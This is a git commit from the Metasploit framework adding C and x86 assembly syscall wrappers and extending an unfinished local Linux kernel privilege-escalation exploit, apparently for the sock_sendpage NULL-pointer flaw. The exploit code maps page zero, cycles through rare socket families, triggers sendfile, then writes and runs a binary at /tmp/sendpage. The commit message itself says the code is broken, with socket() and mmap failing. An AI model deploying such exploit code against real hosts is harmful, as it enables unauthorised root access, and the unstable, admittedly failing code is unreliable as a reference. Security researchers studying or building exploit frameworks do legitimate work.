More progress on syscall wrappers

Something is still broken, my socket() is returning EAFNOSUPPORT whereas
what looks like the same syscall in wunderbar_emporium's exploit.c is
returning a socket. Similarly, my __mmap2() is returning EFAULT when
trying to map anything, not just NULL.
unstable
James Lee 2012-06-22 17:45:49 -06:00
parent fd8b1636b9
commit 6913440d67
5 changed files with 436 additions and 95 deletions

View File

@ -0,0 +1,19 @@
module Msf
module Exploit::Local::CompileC
attr_accessor :cpu
attr_accessor :cparser
def setup
super
init_metasm(Metasm::Ia32.new)
end
def init_metasm(cpu, cparser=nil)
@cpu = cpu
@cparser = cparser || @cpu.new_cparser
end
end
end

View File

@ -0,0 +1,139 @@
require 'msf/core/exploit/local/compile_c'
load 'lib/msf/core/exploit/local/compile_c.rb'
module Msf
module Exploit::Local::Linux
include Exploit::Local::CompileC
def linux_x86_syscall_wrappers(metasm_exe)
cparser.parse <<-EOC
#ifndef size_t
#define size_t int
#endif
#ifndef off_t
#define off_t unsigned long
#endif
#define O_CREAT 64
#define O_RDWR 2
#define MAP_PRIVATE 0x02
#define MAP_FIXED 0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)
#define PROT_READ 0x1
#define PROT_WRITE 0x2
#define PROT_EXEC 0x4
void exit(int status);
int read(int fd, void *buf, size_t count);
int write(int fd, void *buf, size_t count);
int open(const char *pathname, int flags, int mode);
int unlink(const char *pathname);
int ftruncate(int fd, off_t length);
int socket(int, int, int);
int sendfile(int in_fd, int out_fd, void *, int count);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
void *__mmap2(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
void *
mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
{
return __mmap2(addr, length, prot, flags, fd, (offset >> 12));
}
#ifdef DEBUGGING
void sigtrap();
#else
#define sigtrap()
#endif
EOC
metasm_exe.parse <<-EOS
sigtrap:
int 3
ret
exit:
mov eax, 1 ; sys_exit
mov ebx, [esp+4]
int 0x80
ret
read:
mov eax, 3 ; sys_write
mov edx,[esp+12] ; length
mov ecx,[esp+8] ; string
mov ebx,[esp+4] ; file descriptor
int 0x80
ret
write:
mov eax, 4 ; sys_write
mov edx,[esp+12] ; length
mov ecx,[esp+8] ; string
mov ebx,[esp+4] ; file descriptor
int 0x80
ret
open:
mov eax, 5 ; sys_open
mov ecx,[esp+8] ; mode
mov ebx,[esp+4] ; flags
int 0x80
ret
ftruncate:
mov eax, 92 ; sys_ftruncate
mov ecx,[esp+8] ; file descriptor
mov ebx,[esp+4] ; size
int 0x80
ret
socket:
mov eax, 102 ; sys_socketcall
mov ecx,[esp] ; args
mov ebx,0x1 ;
int 0x80
ret
sendfile:
mov eax, 187 ; sys_sendfile
mov esi,[esp+16] ; size
mov edx,[esp+12] ; offset
mov ecx,[esp+8] ; out_fd
mov ebx,[esp+4] ; in_fd
int 0x80
ret
unlink:
mov eax, 10 ; sys_unlink
mov ebx,[esp+4] ; filename
int 0x80
ret
__mmap2:
push ebx
push ecx
push edx
push esi
push edi
push ebp
mov eax, 90
mov ebx, [esp+28]
mov ecx, [esp+32]
mov edx, [esp+36]
mov esi, [esp+40]
mov edi, [esp+44]
mov ebp, [esp+48]
int 0x80
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
EOS
end
end
end

View File

@ -1,6 +1,61 @@
module Msf
module Exploit::Local::LinuxKernel
include Msf::Exploit::Local::CompileC
def current_task_struct_h(metasm_exe)
metasm_exe.parse <<-EOS
current_stack_pointer:
mov eax, esp
ret
EOS
# Taken from sock_sendpage.c
cparser.parse <<-EOC
#define TASK_RUNNING 0
int current_stack_pointer(void);
static inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;
thread_info = current_stack_pointer() & ~(4096 - 1);
if (*(unsigned long *)thread_info >= 0xc0000000) {
task_struct = *(unsigned long *)thread_info;
/*
* The TASK_RUNNING is the only possible state for a process executing
* in user-space.
*/
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
}
/*
* Prior to the 2.6 kernel series, the task_struct was stored at the end
* of the kernel stack.
*/
task_struct = current_stack_pointer() & ~(8192 - 1);
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
thread_info = task_struct;
task_struct = *(unsigned long *)thread_info;
if (*(unsigned long *)task_struct == TASK_RUNNING)
return task_struct;
return -1;
}
EOC
end
end
end

View File

@ -1,38 +1,144 @@
module Msf
module Exploit::Local::Unix
attr_accessor :cpu
attr_accessor :cparser
def setup
super
init_metasm(Metasm::Ia32.new)
end
include Exploit::Local::CompileC
def init_metasm(cpu, cparser=nil)
@cpu = cpu
@cparser = cparser || cpu.new_cparser
end
def include_socket_h
def unix_socket_h(metasm_exe)
# Most of this is copied from
# external/source/meterpreter/source/bionic/libc/kernel/common/linux/socket.h
cparser.parse <<-EOC
#define PF_BLUETOOTH 31
#define PF_IUCV 32
#define AF_UNSPEC 0
#define AF_UNIX 1
#define AF_LOCAL 1
#define AF_INET 2
#define AF_AX25 3
#define AF_IPX 4
#define AF_APPLETALK 5
#define AF_NETROM 6
#define AF_BRIDGE 7
#define AF_ATMPVC 8
#define AF_X25 9
#define AF_INET6 10
#define AF_ROSE 11
#define AF_DECnet 12
#define AF_NETBEUI 13
#define AF_SECURITY 14
#define AF_KEY 15
#define AF_NETLINK 16
#define AF_ROUTE AF_NETLINK
#define AF_PACKET 17
#define AF_ASH 18
#define AF_ECONET 19
#define AF_ATMSVC 20
#define AF_SNA 22
#define AF_IRDA 23
#define AF_PPPOX 24
#define AF_WANPIPE 25
#define AF_LLC 26
#define AF_TIPC 30
#define AF_BLUETOOTH 31
#define AF_MAX 32
#define IPPROTO_SCTP 132
#define PF_UNSPEC AF_UNSPEC
#define PF_UNIX AF_UNIX
#define PF_LOCAL AF_LOCAL
#define PF_INET AF_INET
#define PF_AX25 AF_AX25
#define PF_IPX AF_IPX
#define PF_APPLETALK AF_APPLETALK
#define PF_NETROM AF_NETROM
#define PF_BRIDGE AF_BRIDGE
#define PF_ATMPVC AF_ATMPVC
#define PF_X25 AF_X25
#define PF_INET6 AF_INET6
#define PF_ROSE AF_ROSE
#define PF_DECnet AF_DECnet
#define PF_NETBEUI AF_NETBEUI
#define PF_SECURITY AF_SECURITY
#define PF_KEY AF_KEY
#define PF_NETLINK AF_NETLINK
#define PF_ROUTE AF_ROUTE
#define PF_PACKET AF_PACKET
#define PF_ASH AF_ASH
#define PF_ECONET AF_ECONET
#define PF_ATMSVC AF_ATMSVC
#define PF_SNA AF_SNA
#define PF_IRDA AF_IRDA
#define PF_PPPOX AF_PPPOX
#define PF_WANPIPE AF_WANPIPE
#define PF_LLC AF_LLC
#define PF_TIPC AF_TIPC
#define PF_BLUETOOTH AF_BLUETOOTH
#define PF_MAX AF_MAX
#define SOCK_STREAM 1
#define SOCK_DGRAM 2
#define SOCK_SEQPACKET 5
#define SOMAXCONN 128
#define MSG_OOB 1
#define MSG_PEEK 2
#define MSG_DONTROUTE 4
#define MSG_TRYHARD 4
#define MSG_CTRUNC 8
#define MSG_PROBE 0x10
#define MSG_TRUNC 0x20
#define MSG_DONTWAIT 0x40
#define MSG_EOR 0x80
#define MSG_WAITALL 0x100
#define MSG_FIN 0x200
#define MSG_SYN 0x400
#define MSG_CONFIRM 0x800
#define MSG_RST 0x1000
#define MSG_ERRQUEUE 0x2000
#define MSG_NOSIGNAL 0x4000
#define MSG_MORE 0x8000
#define MSG_EOF MSG_FIN
#define MSG_CMSG_COMPAT 0
#define SOL_IP 0
#define SOL_TCP 6
#define SOL_UDP 17
#define SOL_IPV6 41
#define SOL_ICMPV6 58
#define SOL_SCTP 132
#define SOL_RAW 255
#define SOL_IPX 256
#define SOL_AX25 257
#define SOL_ATALK 258
#define SOL_NETROM 259
#define SOL_ROSE 260
#define SOL_DECNET 261
#define SOL_X25 262
#define SOL_PACKET 263
#define SOL_ATM 264
#define SOL_AAL 265
#define SOL_IRDA 266
#define SOL_NETBEUI 267
#define SOL_LLC 268
#define SOL_DCCP 269
#define SOL_NETLINK 270
#define SOL_TIPC 271
#define IPX_TYPE 1
#define PF_IUCV 32
#define IPPROTO_SCTP 132
#define SOCK_STREAM 1
#define SOCK_DGRAM 2
#define SOCK_SEQPACKET 5
struct iovec {
char *iov_base;
int iov_len;
};
int socket(int, int, int);
EOC
nil
end

View File

@ -11,10 +11,12 @@ require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
load 'lib/msf/core/exploit/local/unix.rb'
load 'lib/msf/core/exploit/local/linux.rb'
load 'lib/msf/core/exploit/local/linux_kernel.rb'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
@ -24,6 +26,7 @@ class Metasploit4 < Msf::Exploit::Local
include Msf::Post::Common
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix
def initialize(info={})
@ -53,103 +56,122 @@ class Metasploit4 < Msf::Exploit::Local
end
def exploit
include_socket_h
sc = Metasm::Shellcode.new(@cpu)
sc = Metasm::ELF.new(@cpu)
cparser.parse "#define DEBUGGING"
sc.parse %Q|
#define DEBUGGING
#ifdef __ELF__
.section ".text" rwx
.entrypoint
#endif
call main
push eax
call exit
|
unix_socket_h(sc)
current_task_struct_h(sc)
case target.arch.first
when ARCH_X86
@cparser.parse <<-EOS
#define NULL ((void*)0)
#define PAGE_SIZE (4096)
#define O_CREAT 64
#define O_RDWR 2
linux_x86_syscall_wrappers(sc)
main = <<-EOS
#define NULL ((void*)0)
#define PAGE_SIZE (4096)
#define DOMAINS_STOP -1
const int domains[] = {
PF_APPLETALK,
PF_IPX,
PF_IRDA,
PF_X25,
PF_AX25,
PF_BLUETOOTH,
PF_PPPOX,
DOMAINS_STOP
};
#define MAP_PRIVATE 0x02
#define MAP_FIXED 0x10
#define MAP_ANONYOUS 0x20
int main() {
int in_fd, out_fd;
char *addr;
int d = 0;
void exit(int);
int open(char *, int, int);
void sigtrap();
int ftruncate(int, int);
int sendfile(int, int, int *, int);
int socket(int, int, int);
/*
addr = mmap(
NULL, 0x1000,
PROT_EXEC | PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0);
sigtrap();
if (addr != NULL) {
#{c_puts("Failed, trying again without PROT_EXEC hoping they don't support NX")}
addr = mmap(
NULL, 0x1000,
PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
0, 0);
sigtrap();
if (addr == NULL) {
#{c_puts("Mapped NULL! ZOMG! Let's fighting love!")}
} else {
#{c_puts("Failed to map 0 page")}
}
}
int current_stack_pointer(void);
addr[0] = '\\xff';
addr[1] = '\\x25';
*(unsigned long *)&addr[2] = 8;
*(unsigned long *)&addr[8] = (unsigned long)&sigtrap;
*/
void main() {
int in_fd, out_fd;
char *addr;
for (d = 0; domains[d] != DOMAINS_STOP; d++) {
#{c_puts("Next domain")}
out_fd = socket(domains[d], SOCK_DGRAM, 0);
sigtrap();
if (in_fd > 0) {
break;
}
}
out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0);
in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700);
ftruncate(in_fd, 0);
sendfile(in_fd, out_fd, NULL, PAGE_SIZE);
exit(0x42);
}
if (out_fd < 0) {
#{c_puts("No domains.")}
exit(1);
}
in_fd = open("/tmp/woot", O_CREAT | O_RDWR, 0700);
unlink("/tmp/woot");
ftruncate(in_fd, 0);
#{c_puts("About to trigger")}
sendfile(in_fd, out_fd, NULL, PAGE_SIZE);
return 42;
}
EOS
asm = @cpu.new_ccompiler(@cparser, sc).compile
puts asm
cparser.parse(main)
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse "call main"
sc.parse asm
sc.parse <<-EOS
current_stack_pointer:
mov eax, esp
ret
EOS
sc.parse <<-EOS
sigtrap:
int 3
ret
exit:
mov eax, 1 ; sys_exit
mov ebx, [esp+4]
int 0x80
ret
open:
mov eax, 5 ; sys_open
mov ecx,[esp+8] ; mode
mov ebx,[esp+4] ; flags
int 0x80
ret
ftruncate:
mov eax, 92 ; sys_ftruncate
mov ecx,[esp+8] ; file descriptor
mov ebx,[esp+4] ; size
int 0x80
ret
socket:
mov eax, 102 ; sys_socketcall
mov ecx,[esp] ; args
mov ebx,0x1 ;
int 0x80
ret
sendfile:
mov eax, 187 ; sys_sendfile
mov esi,[esp+16] ; size
mov edx,[esp+12] ; offset
mov ecx,[esp+8] ; out_fd
mov ebx,[esp+4] ; in_fd
int 0x80
ret
EOS
end
sc.assemble
foo = sc.encode_string
if sc.kind_of? Metasm::ELF
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
end
#puts Rex::Text.to_hex_dump(foo)
File.open("payload.bin", "wb") {|fd|
fd.write Msf::Util::EXE.to_linux_x86_elf(framework, foo)
fd.write elf
}
write_file("/tmp/sendpage", elf)
p cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
end
def include_linux_syscall_h
def c_puts(str)
%Q|write(1, "#{str}\\n", #{str.length + 1});|
end
end